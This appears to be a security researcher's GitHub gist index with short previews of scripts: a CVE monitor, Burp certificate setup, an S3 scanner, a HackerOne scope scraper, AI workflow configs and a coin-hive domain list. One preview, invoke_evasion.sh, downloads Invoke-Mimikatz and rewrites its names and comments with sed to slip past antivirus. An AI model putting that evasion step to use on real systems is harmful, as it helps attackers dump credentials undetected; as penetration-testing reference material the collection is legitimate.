Paul PaulSec
PaulSec
/ monitor_cve.py
Created
February 26, 2018 09:50
Monitors @cvenew and sends me a message on Telegram if a keyword triggers
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from tweepy import StreamListener | |
| from tweepy import Stream | |
| import tweepy | |
| import json | |
| import telebot | |
| import requests | |
| CONSUMER_KEY = 'XXXXXXXXXXXXXXXXXXXXXXX' | |
| CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXX' | |
| ACCESS_KEY = 'XXXXXXXXXXXXXXXXXXXXXXX' |
PaulSec
/ Burp certificate on Android
Created
February 16, 2015 19:40
Add your Burp certificate on an Android device
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| To do so: | |
| 1. Export your Burp Certificate | |
| Proxy > Options > CA Certificate > Export in DER format | |
| 2. Convert it to PEM | |
| openssl x509 -inform der -in cacert.der -out burp.pem | |
| 3. Download it on the device |
PaulSec
/ n8n_gitlab_discussions.json
Created
May 26, 2025 09:17
Here is a configuration file in order to use AzureOpenAI to act as a Tech Lead and make code recommendations in Gitlab
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "name": "Workflow Copy", | |
| "nodes": [ | |
| { | |
| "parameters": { | |
| "owner": "REDACTED_OWNER", | |
| "repository": "REDACTED_REPOSITORY", | |
| "events": [ | |
| "merge_requests" | |
| ] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "servers": { | |
| "my-mcp-server-57788458": { | |
| "type": "stdio", | |
| "command": "uv", | |
| "args": [ | |
| "run", | |
| "--with", | |
| "fastmcp", | |
| "--with", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # server.py | |
| from mcp.server.fastmcp import FastMCP | |
| import requests | |
| import json | |
| # Create an MCP server | |
| mcp = FastMCP("Demo") | |
| # Simplify and improve error handling for retrieving CFPs | |
| @mcp.tool() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| .page | |
| .confirm | |
| .inner | |
| You're about to hack time, are you Sure? | |
| %input{:type => 'radio', :name => 'hack', :id => 'warp', :value => 'yes'} | |
| %label{:for => 'warp'} | |
| %span Yes | |
| %input{:type => 'radio', :name => 'hack', :id => 'nope', :value => 'no'} | |
| %label{:for => 'nope'} | |
| %span No |
PaulSec
/ invoke_evasion.sh
Created
August 1, 2017 13:50
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # AV Bypass to run Mimikatz | |
| # From: https://www.blackhillsinfosec.com/?p=5555 | |
| # Server side: | |
| wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 | |
| sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 | |
| sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 | |
| sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 | |
| sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 | |
| sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1 |
PaulSec
/ retrieve_scope.py
Created
October 19, 2017 11:41
Retrieve scope from HackerOne (using their directory) + all public reports (commented part)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import csv | |
| import json | |
| hackerone_url = "https://hackerone.com" | |
| page = 1 | |
| session = requests.Session() | |
| # titles = [] | |
| reports = [] |
PaulSec
/ aws_scan.py
Created
May 10, 2017 08:05
Quick script to scan for AWS (S3 Buckets) and retrieves bunch of info out of it
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import subprocess | |
| import argparse | |
| import re | |
| import sys | |
| import requests | |
| def do_dig(domain): | |
| command = "dig {} | grep IN".format(domain) | |
| try: | |
| output = subprocess.check_output(command, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) |
PaulSec
/ coin-hive_domains.txt
Last active
April 20, 2022 07:32
Domain with coin-hive integration (only from top 1M Alexa)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 0x00sec.org | |
| 100-bal.ru | |
| 123kubo.info | |
| 123moviesfull.co | |
| 123movies.re | |
| 1337x.io | |
| 141jav.com | |
| 14byte.net | |
| 1568783.com | |
| 1587865.com |
NewerOlder